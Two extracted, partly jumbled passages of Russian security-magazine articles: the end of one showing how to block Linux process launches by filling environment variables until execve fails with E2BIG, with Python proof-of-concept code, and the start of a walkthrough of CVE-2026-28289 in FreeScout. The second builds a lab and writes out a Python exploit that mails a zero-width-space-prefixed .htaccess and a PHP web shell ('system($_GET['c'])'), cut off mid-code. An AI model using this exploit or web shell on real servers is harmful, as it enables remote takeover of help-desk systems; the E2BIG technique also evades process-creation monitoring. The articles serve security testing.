0x7ffc5d4998e8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/sbin/python3", ["python3", "./e2big_crash.py"], 
0x7ffc5d4998e8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/bin/python3", ["python3", "./e2big_crash.py"], 
0x7ffc5d4998e8 /* 10 vars */) = 0
strace: Process 30 attached
[pid    30] execve("/bin/true", ["true", 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], 0x75f471364230 /* 0 vars */) = 
-1 E2BIG (Argument list too long)
[pid    30] <span class=nobr>+ exited with 111 span>+
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=30, si_uid=0, 
si_status=111, si_utime=0, si_stime=5 /* 0.05 s */} ---
Success
+++ exited with 0 +++

Вот в этой строчке можно увидеть нужную ошибку:

[pid    30] execve("/bin/true", ["true", 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], 0x75f471364230 /* 0 vars */) = 
-1 E2BIG (Argument list too long)

Отлично. Переходим к следующему шагу.

ПОДТВЕРЖДАЕМ ЗНАЧЕНИЕ ARG_MAX

Ошибку мы получили. Но передача одного большого аргумента мне ни о чем
не говорит. Теперь я хочу найти длину аргумента, при которой процесс будет
завершаться с ошибкой .E2BIG

Чтобы найти конкретное значение, можно использовать линейный поиск
или  же бинарный (хоть где‑то алгоритмы мне пригодились). Для  левой гра‐
ницы я возьму 0, а для правой — . Но чтобы это работало наверняка,

я буду проверять, что при  выбранном значении правой границы процесс
завершается с ошибкой. Реализую для этого следующую функцию:

ARG_MAX

   def _find_e2big_val() -> int:
      val_len = os.sysconf(os.sysconf_names["SC_ARG_MAX"])
      ok = True

     while ok:
               ok, err = try_exec('/bin/true', ['true', 'A' * val_len])

         if ok:
              val_len *= 2

            continue

           if err != errno.E2BIG:
             raise RuntimeError('Failed to find val_len')

     return val_len

В ней я пытаюсь запустить процесс с аргументом длины . Пока про‐

цесс запускается корректно, мы будем удваивать длину аргумента командной
строки.

ARG_MAX

Левая и  правая границы поиска определены, значит, можно реализовать
поиск:

   def argv_overflow() -> int:
      bin = '/bin/true'

      left = 0
      right = _find_e2big_val()
          mid = (left + right) // 2

       while left < right:
              mid = (left + right) // 2

            payload = 'A' * mid
              ok, err = try_exec(bin, ['true', payload], {})

         if ok:
                left = mid + 1

           elif err == errno.E2BIG:
              right = mid

        else:
             return -1

     return right

Вызовем функции в  :main

   def main() -> int:
      arg_len = argv_overflow()
     return 0

   if __name__ == '__main__':
    main()

Вот что у меня вышло:

root@ea8d9f9ab252:/rev# ./e2big_poc.py
Current arg len 131072, ARG_MAX 2097152

 явно меньше, чем . Можно предположить, что в моей сис‐

теме  занимают . Или  же есть лимит на  длину

аргумента командной строки. Это  мы можем легко выяснить. Запущу про‐
цесс, но передам два аргумента командной строки. Длина первого и второго
аргумента будет . Для этого изменю только :

131 072 2 097 152
argv + envp ARG_MAX-131072

131 071 main

   def main() -> int:
              ok, err = try_exec('/bin/true', ['true', 'A' * 131071, 'B' *
131071])
    print(ok)

     return 0

Вывод:

root@ea8d9f9ab252:/rev# ./test.sh
execve("./e2big_poc.py", ["./e2big_poc.py"], 0x7ffc12e32bd8 /* 10 vars 
*/) = 0
execve("/usr/local/sbin/python3", ["python3", "./e2big_poc.py"], 
0x7fff817d2ee8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/local/bin/python3", ["python3", "./e2big_poc.py"], 
0x7fff817d2ee8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/sbin/python3", ["python3", "./e2big_poc.py"], 
0x7fff817d2ee8 /* 10 vars */) = -1 ENOENT (No such file or directory)
execve("/usr/bin/python3", ["python3", "./e2big_poc.py"], 0x7fff817d2ee8 
/* 10 vars */) = 0
strace: Process 111 attached
[pid   111] execve("/bin/true", ["true", 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...], 0x712d2ed90210 /* 0 vars */) = 0
[pid   111] <span class=nobr>+ exited with 0 span>+
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=111, si_uid=0, 
si_status=0, si_utime=0, si_stime=1 /* 0.01 s */} ---
True
+++ exited with 0 +++

Как видишь, все сработало корректно. Значит,  — это максимальный
размер аргумента командной строки в моей системе.

131 072

Почему максимум аргумента — 131 072 байт
Хотя  (например, 2  097  152) ограничивает суммарный размер всех

аргументов и  переменных окружения, в  Linux существует дополнительное
ограничение  — на  размер одной строки аргумента или  переменной окру‐
жения.

ARG_MAX

В ядре оно задается константой  и  обычно рав‐

но  131  072  байт (128  Кбайт). Это  соответствует  32  страницам памяти
при размере страницы 4 Кбайт.

MAX_ARG_STRLEN

На практике это значит, что:
один аргумент командной строки не может быть длиннее ~128 Кбайт;•
одна переменная окружения (включая ) также ограничена этим раз‐
мером.

• NAME=

ПЕРЕПОЛНЕНИЕ ENVP

А что там с  ? Сейчас узнаю! Мне кажется, что для переменных окружения

действует аналогичный лимит, но нужно дополнительно учитывать имя самой
переменной и знак .

envp

=
Для обнаружения лимита буду использовать уже знакомый тебе код:

   def envp_overflow() -> int:
      bin = '/bin/true'
      envp = {}

      left = 0
      right = _find_e2big_val()
          mid = (left + right) // 2

       while left < right:
              mid = (left + right) // 2

            payload = 'A' * mid
              ok, err = try_exec(bin, ['true'], {'A': payload})

         if ok:
                left = mid + 1

           elif err == errno.E2BIG:
              right = mid

        else:
             return -1

     return right

   def main() -> int:
      envp_len = envp_overflow()
    print(f'Current env len {envp_len}, ARG_MAX {ARG_MAX}')
     return 0

Запускаем:

root@ea8d9f9ab252:/rev# ./e2big_poc.py
Current env len 131070, ARG_MAX 2097152

Можешь увидеть, что мы получили . Имя для   я выбрал . Так что

длина  как раз добивает лимит для переменной окружения до полученного

ранее лимита.

131 070 env A
A=

Продолжение статьи →
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МОЩНЫЕ АРГУМЕНТЫ
БЛОКИРУЕМ ЗАПУСК ПРОЦЕССОВ

В LINUX ЧЕРЕЗ ПЕРЕМЕННЫЕ
ОКРУЖЕНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОГРАНИЧИВАЕМ ДЛИНУ ARGC

Так как   ограничивает суммарную память , то кажется

разумным, что я могу создать несколько переменных окружения, чтобы оста‐
вить ограниченную память для  . Давай попробуем это сделать.

ARG_MAX argc + envp

argc
Из полученных ранее лимитов можно сделать вывод, что в  памяти может

храниться 16 переменных максимальной длины. Значит, чтобы оставить хоть
какое‑то место для  , нам нужно создать 15 переменных окружения мак‐

симальной длины и еще одну, которая будет ограничивать размер .

argc
argc

Вот и результат:

[pid   136] execve("/bin/true", ["true", 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], 0x77a04b8ec210 /* 0 vars */) = 
-1 E2BIG (Argument list too long)
[pid   136] <span class=nobr>+ exited with 111 span>+
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=136, si_uid=0, 
si_status=111, si_utime=0, si_stime=2 /* 0.02 s */} ---
False
+++ exited with 0 +++

Как и  ожидалось, мы получили ошибку. Но  не все так просто. Кроме наших
аргументов, у процесса может быть , выравнивание и какая‑то служебная

информация, которую мы не  учитываем в  этом тесте. Давай найдем ее.
Для  удобства я добавлю аргумент  в  ранее написанную функцию

:

envp

envp
argv_overflow

       def argv_overflow(envp: dict[str, str] = None) -> int:
      bin = '/bin/true'

       if envp is None:
          envp = {}

      left = 0
      right = _find_e2big_val()
          mid = (left + right) // 2

       while left < right:
              mid = (left + right) // 2

            payload = 'A' * mid
              ok, err = try_exec(bin, ['true', payload], envp)

         if ok:
                left = mid + 1

           elif err == errno.E2BIG:
              right = mid

        else:
             return -1

     return right

Теперь мы можем узнать максимальную длину  при  заданных .

Модифицирую :

argv envp
main

   def main() -> int:
      val_len = os.sysconf(os.sysconf_names["SC_ARG_MAX"])
        envp_len = envp_overflow() - 1
                 envp = {chr(65 + l): chr(65 + l) * envp_len for l in range(15)}

      max_argv_len = argv_overflow(envp)

    print(f'Current argv len: {max_argv_len}, ARG_MAX: {val_len}')
     return 0

Давай запустим код:

root@ea8d9f9ab252:/rev# ./e2big_poc.py
Current argv len: 130921, ARG_MAX: 2097152

Отлично,  меньше полученного ранее значения . Значит,

идея ограничить место для аргументов командной строки через  работа‐
ет. Давай теперь создадим шестнадцатую переменную окружения, которая
займет все свободное место. Моей целью будет получить 

:

argv len 131 072
envp

Current argv
len: 0

   def main() -> int:
      val_len = os.sysconf(os.sysconf_names["SC_ARG_MAX"])
        envp_len = envp_overflow() - 1
                 envp = {chr(65 + l): chr(65 + l) * envp_len for l in range(15)}

      max_argv_len = argv_overflow(envp)
        envp['P'] = 'P' * max_argv_len

      max_argv_len = argv_overflow(envp)

    print(f'Current argv len: {max_argv_len}, ARG_MAX: {val_len}')
     return 0

Должно сработать. Проверим:

root@ea8d9f9ab252:/rev# ./e2big_poc.py
Current argv len: 0, ARG_MAX: 2097152

Получилось! У  тебя может возникнуть вопрос: а  зачем нам все это  нужно?
Отличный вопрос! Сейчас расскажу.

ИНТЕРАКТИВНАЯ ОБОЛОЧКА С ОГРАНИЧЕНИЕМ ДЛИНЫ
АРГУМЕНТОВ

В Linux дочерние процессы наследуют переменные окружения от  родитель‐
ского. Значит, если мы создадим длинные переменные окружения, запустим
с  ними  и  попробуем запустить какой‑нибудь новый процесс, то

получим ошибку , если  нового процесса будет больше установ‐
ленного нами лимита. Интересно? Давай пробовать.

shell
E2BIG argc

Запускать я буду . Так как ранее мы с тобой заняли почти все доступное

пространство для   и  , то  не запустится. Нужно оставить место
для  запуска оболочки. Напишу следующий код, который будет пытаться
запустить  и вычислить :

sh
argc envp sh -i

sh -i offset

   def main() -> int:
        envp_len = envp_overflow() - 1
                 envp = {chr(65 + l): chr(65 + l) * envp_len for l in range(15)}

      max_argv_len = argv_overflow(envp)

      ok = False
      offset = 0
      while not ok:

              envp['P'] = 'P' * (max_argv_len - offset)
               ok, err = try_exec('/bin/bash', ['sh', '-i'], envp)

          offset += 1

      print(offset - 1)

     return 0

Посмотрим, что из этого вышло:

root@ea8d9f9ab252:/rev# ./e2big_poc.py
sh-5.2# ls
sh: /usr/bin/ls: Argument list too long
sh-5.2# exit
12

Как я и говорил, необходим , чтобы запустить . Что дальше?offset shell

АВТОМАТИЗАЦИЯ ПОИСКА OFFSET

Давай попробуем найти такой , чтобы мы смогли запустить команду

, но  процесс  уже не  запускался. Вручную делать подбор не  хотелось
бы, поэтому будем автоматизировать:

offset
ls env

       def try_run_sh(cmd: str, envp: dict[str, str]) -> int:
       master, slave = pty.openpty()
      pid = os.fork()

       if pid == 0:
        os.close(master)

         os.dup2(slave, 0)
         os.dup2(slave, 1)
         os.dup2(slave, 2)

        os.close(slave)
           os.execve("/bin/bash", ["sh", "-i"], envp)

        os._exit(113)

    os.close(slave)
       os.write(master, (cmd + '\nexit\n').encode())

      out = bytearray()
        end = time.time() + 2
       while time.time() < end:

               r, _, _ = select.select([master], [], [], 0.05)
         if r:

            try:
                   chunk = os.read(master, 4096)

                  if not chunk:
                    break

                  out += chunk
             except OSError:

                break

            wpid, _ = os.waitpid(pid, os.WNOHANG)
           if wpid == pid:

            break

    try:
        os.close(master)
     except OSError:
        pass

    try:
         os.waitpid(pid, 0)

     except OSError:
        pass

     return out.decode(errors="replace")

         def find_offset(cmd: str, envp: dict[str, str], max_argv_len: int) ->
int:
      offset = 0

     while True:
              envp['P'] = 'P' * (max_argv_len - offset)

           out = try_run_sh(cmd, envp)
            if 'Argument list too long' not in out:

             return offset
          offset += 1

   def main() -> int:
        envp_len = envp_overflow() - 1
                 envp = {chr(65 + l): chr(65 + l) * envp_len for l in range(15)}

      max_argv_len = argv_overflow(envp)

        offset = find_offset('ls', envp, max_argv_len)

           ok, err = try_exec('/bin/bash', ['sh', '-i'], envp)

     return 0

INFO

Функция  создает копию текущего про‐
цесса, а    — канал связи между процес‐
сами. Здесь это  нужно затем, чтобы дочерний
процесс попытался выполнить ,
а родительский смог получить код ошибки и про‐
должить выполнение кода на Python.

fork()
pipe()

execve()

Чтобы найти , нам необходимо запустить , а  затем выполнить

команду, для которой мы его ищем, а именно .

offset sh -i
ls

Алгоритм работы:
1. Чтобы передать команду в  оболочку, я буду использовать   —

механизм, который позволяет программе притворяться терминалом. Он
создает два файловых дескриптора, которые используются для имитации
работы терминала.

pty

2. Вызываю , чтобы создать дочерний процесс.fork()
3. Использую  для замены / /  в дочернем процес‐

се на  .
dup2 stdin stdout stderr

pty
4. Запускаю .sh -i
5. В родительский процесс записываю  для  выполнения и  ,

чтобы выйти из сессии после выполнения команды.
cmd \nexit\n

6. Далее в течение двух секунд происходит попытка чтения вывода команды
.cmd

7. Возвращаем результат выполнения .cmd

Алгоритм поиска  тебе уже знаком: пытаемся запустить команду, пока

ошибка не уйдет, увеличивая  на 1 после каждой неудачи. Профит!

offset
offset

Запущу  и посмотрю, получилось ли у меня в итоге:PoC

root@c74e0b958721:/rev# ./e2big_poc.py
sh-5.2# ls
e2big_crash.py  e2big_poc.py test.sh
sh-5.2# env
sh: /usr/bin/env: Argument list too long
sh-5.2#

Идеально. Ровно то, что я и хотел.

ВЫВОДЫ

Мы показали, что переменные окружения ( ) в  Linux  — это  не просто

механизм конфигурации процесса, а  часть жестко лимитируемого ресурса
запуска, разделяемого с аргументами командной строки ( ). Ограничение

 накладывается на  их суммарный размер и  при превышении этого

лимита делает выполнение  невозможным.

envp

argv
ARG_MAX

execve()
Практически это  означает, что за  счет управления объемом  можно

блокировать запуск процессов без эксплуатации уязвимостей или изменения
бинарей. При достижении лимита ядро отклоняет попытку запуска с ошибкой

, и  выполнение команды останавливается еще  на этапе системного

вызова.

envp

E2BIG

Такой механизм важен, поскольку не проявляется на уровне уже запущен‐
ных процессов: в системе не появляется , отсутствуют пользователь‐

ские артефакты, а единственным наблюдаемым событием остается результат
вызова . Следовательно, системы анализа, ориентированные
исключительно на  события создания процессов, могут не  справиться
с такими сценариями.

cmdline

execve()

Для анализа и мониторинга подобного поведения нужно учитывать ошиб‐
ки выполнения  и  рассматривать их как  самостоятельный сигнал,

отражающий попытки запуска программ, завершившиеся на уровне ядра. © X

execve()



ret0x2A
@ret0x2A

ВЗЛОМ

Представь: отправляешь электронное пись‐
мо и получаешь полноценный Remote Code
Execution. Жертве не  нужно переходить
по  ссылкам или  открывать файлы. Даже
письмо не нужно открывать, главное, чтобы
оно дошло. Разберем с  тобой уязвимость
и напишем PoC.

CVE-2026-28289  — это  уязвимость в  опенсорсном help desk приложении
. Help desk — это служба поддержки клиентов, которая занимается

обработкой запросов, проблем и  инцидентов. Если просто  — система
тикетов с отслеживанием состояний.

FreeScout

FreeScout довольно популярен, более 4800 звезд на GitHub и бесчислен‐
ное количество скачиваний. А  раз это  корпоративный софт, значит, уяз‐
вимость — это потенциальный вход в сеть многих компаний, то есть лакомый
кусочек для хакеров.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

Уязвимая версия FreeScout  — 1.8.206. Уязвимость работает на  Apache
с  . Атака заключается в  отправке вредоносного письма
с вложением двух файлов:
AllowOverride All

 для  переопределения поведения веб‑сервера в  конкретной
папке;

• .htaccess

веб‑шелла под видом безобидного текстового файла.•

Результат успешной атаки

СОБИРАЕМ ЛАБУ

Давай развернем тестовый стенд, на котором можно будет демонстрировать
уязвимость. Я как основу буду использовать WSL.

В качестве тестовой машины ставим чистую Ubuntu:

wsl --install -d ubuntu

Ставим PHP версии 7.4, Apache и базу данных MariaDB:

sudo apt update -y
apt  sudo install -y software-properties-common

sudo add-apt-repository ppa:ondrej/php -y
sudo apt update -y

apt  sudo install -y apache2 mariadb-server git \
  php7.4 php7.4-mysql php7.4-mbstring php7.4-xml \
  php7.4-imap php7.4-zip php7.4-gd php7.4-curl php7.4-intl php7.4-
json \
  libapache2-mod-php7.4

Настраиваем Apache:

sudo a2enmod rewrite
sudo a2enmod headers
sudo a2enmod php7.4

Правим  для веб‑сервера и для CLI (это нужно для cron). Изменения
вносим одинаковые:

php.ini

  memory_limit = 512M
  upload_max_filesize = 16M

  post_max_size = 20M
  cgi.fix_pathinfo = 0

Ищем .ini по этим путям:

sudo vim /etc/php/7.4/apache2/php.ini # Web
sudo vim /etc/php/7.4/cli/php.ini # CLI

Перезапускаем Apache, чтобы изменения подтянулись:

sudo systemctl restart apache2

Создаем базу данных и пользователя к ней:

sudo mysql

      CREATE DATABASE freescout CHARSET utf8mb4 COLLATE utf8mb4_unicode_ci;
        

 
GRANT ALL PRIVILEGES ON freescout.* TO freescout@localhost IDENTIFIED
BY 'password';

 FLUSH PRIVILEGES;
EXIT;

Клонируем FreeScout на тестовую машину.

 sudo mkdir -p /var/www/freescout
cd /var/www/freescout
sudo git clone https://github.com/freescout-helpdesk/freescout .

Переключаемся на тег версии 1.8.206.

 sudo git config --global --add safe.directory /var/www/freescout
sudo git fetch --tags
sudo git checkout 1.8.206
# Убедись, что выбрана нужная версия
sudo git describe --tags

Настраиваем права доступа на  папку , а  также на  файлы и  папки

внутри:

freescout

 sudo chown -R www-data:www-data /var/www/freescout
 f  664  sudo find /var/www/freescout -type -exec chmod {} \;
 d  775  sudo find /var/www/freescout -type -exec chmod {} \;

Открываем конфиг Apache:

sudo vim /etc/apache2/sites-available/freescout.conf

Добавляем виртуальный хост, указав корневую папку FreeScout. Обязатель‐
ное условие для CVE — :AllowOverride All

<VirtualHost *:80>
    ServerName lab.local
    DocumentRoot /var/www/freescout

      Options Indexes FollowSymLinks
    ErrorLog /var/www/freescout/storage/logs/web-server.log

    LimitRequestBody 20971520

    <Directory "/var/www/freescout">
         AllowOverride All

         Require all granted
    </Directory>
</VirtualHost>

Отключаем лишние конфиги и добавляем созданный:

sudo a2dissite 000-default.conf
sudo a2ensite freescout.conf
sudo apache2ctl configtest
# configtest должен вернуть Syntax OK
sudo systemctl reload apache2

Для удобства добавляем на  хостовой машине в 

 домен:

\System32\drivers\etc\
hosts

127.0.0.1    lab.local

Если мы все сделали правильно, по  адресу  нас будет ждать
мастер установки FreeScout. Устанавливаем через веб  — это  оптимальный
вариант. Если все же решишь ставить по инструкции для  , это твой
выбор: ценим, уважаем, помним...

http://lab.local

composer

Мастер установки

Со всем соглашаемся и жмем синюю кнопку. Когда мастер спросит URL, ука‐
зываем  или свой, если использовали его в конфигах. Если

URL отличается от введенного в браузере, мастер застопорится.

http://lab.local

На этапе базы указываем:
хост ;• 127.0.0.1
имя БД ;• freescout
пользователь ;• freescout
пароль .• password

Пользователя и  пароль указывали во  время создания базы. Если ты указал
другие данные, скопируй их.

Предпоследний шаг  — создание админа. Указываем любые данные,
никаких подтверждений система не потребует. Если все делал слишком быс‐
тро, мастер установки может вернуть нас к  настройке базы данных. Иногда
установщик зацикливается и  приходится проходить одни и  те же шаги  3–
5 раз. Не переживай, но проверяй, что все ввел правильно.

В конце запускаем миграции. FreeScout использует Laravel, а там без миг‐
раций никуда.

Миграции

После установки FreeScout предложит залогиниться. Введи данные, которые
указывал при  создании админа. После логина убедись, что внизу страницы
есть версия приложения 1.8.206.

Хелп‑деск установлен

Если ты решил, что все, то ошибся. Нужно в крон прописать запуск шедулек
и  поднять почту. Ты же помнишь, что атака выполняется через волшебное
письмо?

В cron прописываем:

* * * * * /usr/bin/php7.4 /var/www/freescout/artisan schedule:run >> 
/dev/null 2>&1

Для почты используем связку Postfix + Dovecot. Postfix — это MTA: он принима‐
ет и  отправляет почту по  SMTP, занимается маршрутизацией и  доставкой.
Dovecot  — это  IMAP/POP3-сервер: через него получаем доступ к  почтовым
ящикам.

apt  sudo install -y postfix dovecot-core dovecot-imapd

При установке Postfix появится диалоговое окно. Выбираем:
тип конфигурации: Internet Site;•
system mail name: lab.local.•

Создаем в  системе двух пользователей. Один  — для  FreeScout, второй  —
атакующий. Выбираем такой вариант, чтобы не  было мороки с  пересылкой
писем. На саму CVE это никак не влияет.

 sudo useradd -m -s /usr/sbin/nologin support
  | echo "support:supportpassword" sudo chpasswd

 sudo useradd -m -s /usr/sbin/nologin script
  | echo "script:password" sudo chpasswd

Открываем конфиг Postfix:

sudo vim /etc/postfix/main.cf

Параметры, которые нам нужно изменить/добавить:

  myhostname = lab.local
  mydestination = lab.local, localhost.localdomain, localhost

  mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 172.28.0.0/
16

  inet_interfaces = all
  home_mailbox = Maildir/

 mailbox_command =

Параметр  означает, что письма будут храниться

в   и Dovecot будет читать их из этой директории.

home_mailbox = Maildir/
/home/support/Maildir/

Перезапускаем Postfix:

sudo systemctl restart postfix

В конфиге аутентификации  проверяем

значения параметров:

/etc/dovecot/conf.d/10-auth.conf

  disable_plaintext_auth = no
  auth_mechanisms = plain login

Теперь редактируем конфиг хранилища: 

. Указываем путь к Maildir:

/etc/dovecot/conf.d/10-mail.
conf

  mail_location = maildir:~/Maildir

Обрати внимание, что в  конфиге есть примеры назначения ,

а  ниже  — сама переменная с  присваиванием. Если в  конфиге окажутся две
одинаковые переменные, последняя перезапишет первую. Будь внимателен!

mail_location

Дальше правим конфиг листенера: 

. Ищи секцию  и проверь, что порт 143 открыт:

/etc/dovecot/conf.d/10-master.
conf service imap-login

  service imap-login {
    inet_listener imap {
      port = 143
  }
}

Перезапускаем Dovecot:

sudo systemctl restart dovecot

Можно проверить, что Postfix слушает на 25-м порте, а Dovecot — на 143-м.

ss  |   -tlnp grep -E ':(25|143)'

Чтобы отправить тестовое письмо, устанавливаем :mailutils

apt  sudo install -y mailutils

Отправляем тестовое письмо через Postfix и проверяем доставку:

  echo "Test body" | mail -s "Test subject" support@lab.local
sudo ls /home/support/Maildir/new/

В директории  у  нас должен появиться файл
письма. Выглядит он примерно так: 

.

/home/support/Maildir/new/
1773932422.V830Ie8e1M169513.

HOSTNAME
Проверяем подключение по IMAP:

apt  sudo install -y mutt   # или любой другой IMAP-клиент
apt sudo install inetutils-telnet

telnet localhost 143

После подключения вводим команды:

a login support supportpassword
b select INBOX
c logout

Если возникают проблемы с логином, переназначь пароль системному поль‐
зователю.

Ввод команд в Telnet

Если дошел до  этого шага, значит, почтовики поднялись и  осталось только
прописать их во  FreeScout. Открываем файл 
и добавляем в самый низ:

/var/www/freescout/.env

MAIL_DRIVER=smtp
MAIL_HOST=127.0.0.1
MAIL_PORT=25
MAIL_ENCRYPTION=null
MAIL_USERNAME=null
MAIL_PASSWORD=null

В завершение установки настраиваем почтовый ящик во  FreeScout. Заходи
через веб‑интерфейс, жми Manage Mailboxes. FreeScout перейдет к настрой‐
ке, жми New Mailbox. Введи  и любое название для ящика.support@lab.local

Находим в  левом меню Connection Settings. SMTP можно проигнориро‐
вать, главное для CVE находится на вкладке Fetching Emails. Заполняем поля:

Protocol — IMAP;•
Port — 143;•
Username — support;•
Password — supportpassword;•
Folder — INBOX.•

Сохраняем настройки и  жмем кнопку проверки. Должно появиться зеленое
окошко, сообщающее, что все хорошо. Теперь все готово к атаке.

РАЗБИРАЕМ АТАКУ

 (также известная как  Mail2Shell)  — это  байпас патча
для предыдущей уязвимости CVE-2026-27636 во FreeScout. 
позволяла авторизованным пользователям загружать опасные файлы. Чтобы
закрыть эту дыру, разработчики добавили в  функцию

 проверку первого символа: если имя файла

начинается с точки, сохранение запрещается. Но нарушили логическую пос‐
ледовательность — фильтрация выполняется до санитизации:

CVE-2026-28289
CVE-2026-27636

sanitizeUploadedFileName()

        if (mb_substr($file_name, 0, 1) == '.') { // Строка ~1913
        $file_name = $file_name . '_';
}
// Где-то дальше

    $file_name = preg_replace('#\p{C}+#u', '', $file_name);
    $file_name = preg_replace('#\p{Cf}+#u', '', $file_name);

Хакер может добавить непечатаемый символ, например пробел нулевой
ширины  (zero-width space). Фильтр видит, что имя файла начинается

с  этого пробела, и  игнорирует файл. Санитизация удаляет непечатаемый
символ и файл сохраняется как  .

U+200B

.htaccess
Может показаться, что файл  безопасен... но нет. Он переопре‐

деляет поведение Apache в  конкретной папке, если включен режим
. Если положишь в   строку 

, безобидный текстовый файл станет пол‐
ноценным интерпретируемым PHP-кодом. Поэтому вместе с 

отправляется  с обычным веб‑шеллом внутри.

.htaccess

AllowOverride All .htaccess AddType
application/x-httpd-php .txt

.htaccess
shell.txt

Давай посмотрим, как это работает.
Создаем Dockerfile:

FROM php:8.2-apache
RUN a2enmod rewrite
RUN sed -i 's|AllowOverride None|AllowOverride All|g' /etc/apache2/
apache2.conf
RUN echo "<?php echo 'Surprise'; ?>" > /var/www/html/test.txt \
 && echo "AddType application/x-httpd-php .txt" > /var/www/html/.
htaccess

RUN chown -R www-data:www-data /var/www/html

Запускаем контейнер:

docker build -t apache-test .
docker run -p 8080:80 apache-test

Проверяем результат через :curl

curl http://localhost:8080/test.txt

Продолжение статьи →

https://t.me/ret0x2A
https://github.com/freescout-help-desk/freescout
http://lab.local/
https://nvd.nist.gov/vuln/detail/CVE-2026-28289
https://nvd.nist.gov/vuln/detail/CVE-2026-27636


ZERO-CLICK

ВО FREESCOUT
КАК РАБОТАЕТ ЗАХВАТ СЕРВЕРА

ОДНИМ ПИСЬМОМ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Схема атаки

Один важный нюанс: FreeScout построен на  Laravel 5.5. Фреймворк жестко
переопределяет пути, в том числе в целях безопасности. Чтобы достучаться
до  вложения, FreeScout требует идентификатор вложения и  токен. Иден‐
тификатор  — это  просто порядковый номер вложения. Защитный токен  —
обычный хеш: . Пример

ссылки на вложение:

md5(config('app.key').$this->id.$this->size)

http://freescout.example.com/storage/attachment/9/0/1/shell.txt?id=8&
token=7d5f100dd007aa7792be58157ec93736

Причем, если мы вытащим  вложения,  и сгенерируем токен, это не
сильно поможет. При  обращении со  всеми данными фреймворк просто
отдаст файл на  скачивание, и  круг замкнется. Мы скачаем файл, который
только что отправили.

id api.key

Хорошая новость в  том, что в  папке с  вредоносным  мы пол‐

ностью определяем поведение Apache:

.htaccess

 RewriteEngine Off
 +Options Indexes
 / - -  .AddType application x httpd php txt

Так мы отключим роуты для  папки с  вложениями и  сможем достучаться
до нее. Не забудь, что URL поменяется. Было , станет

. ЧПУ использует виртуальный путь, поэтому 
выпадает из URL.

/storage/attachment/
/storage/app/attachment/ app

PROOF OF CONCEPT

Мне не нравится идея отправлять письма командами на сервере с уязвимой
системой. Гораздо красивее, когда рядом запущена другая ОС, а  работа
выполняется скриптом. Лабу я поднял в  WSL, поэтому рядом удобно запус‐
тить, например, Kali Linux. Но в данном случае это не принципиально: подой‐
дет любая система с установленным Python. WSL хорош тем, что шарит сеть
между машинами. Фактически каждая машина, запущенная в WSL, становится
частью хостовой машины, и все сетевые ресурсы у нас доступны по 

 или  .

127.0.0.
1 localhost

wsl -d kali-linux

Если Kali не установлен, то:

wsl --install -d kali-linux

После запуска машины выполняем  для  обращения к  лабе, чтобы убе‐

диться в работоспособности схемы. Для красоты в   добавляем:

curl
/etc/hosts

127.0.0.1    lab.local

Создаем файл  и прописываем импорты:poc-cve-2026-28289.py

#!/usr/bin/env python3

    import smtplib, time, re, urllib.request
   from email.mime.multipart import MIMEMultipart
   from email.mime.text import MIMEText
   from email.mime.application import MIMEApplication
   from email.utils import formatdate

Все библиотеки нативны для Python и не требуют установки, если в системе
ничего не кастомизировано. Пакет  — это SMTP-клиент для отправки

писем. В   содержатся объекты, которые упрощают работу с  электрон‐
ной почтой. Остальные библиотеки мы и так хорошо знаем.

smtplib
email

Объявляем и назначаем константы:

  SMTP_HOST = "lab.local"
    SMTP_PORT = 25
    FROM_ADDR = "script@lab.local"

      TO_ADDR = "support@lab.local"
     BASE_URL = "http://lab.local"

Файлы формируем прямо внутри скрипта:

# Символ невидимого пробела
  ZWSP = "\u200b"

  shell_name = "shell.txt"
  shell_content = b"<?php system($_GET['c']); ?>"

# Добавь к .htaccess невидимый символ
    htaccess_name = ZWSP + ".htaccess"

  htaccess_content = b"AddType application/x-httpd-php .txt\n"

Пока здесь только заголовок, а не сам абзац.
Функция отправки письма:

 def send_mail():
      msg = MIMEMultipart()
         msg["From"] = FROM_ADDR
     msg["To"]      = TO_ADDR
         msg["Date"] = formatdate(localtime=True)
      msg["Subject"] = "I want to pwn this system"

      msg.attach(MIMEText("Hello", "plain", "utf-8"))

       part1 = MIMEApplication(htaccess_content, Name=htaccess_name)
      part1["Content-Disposition"] = f'attachment; filename="{
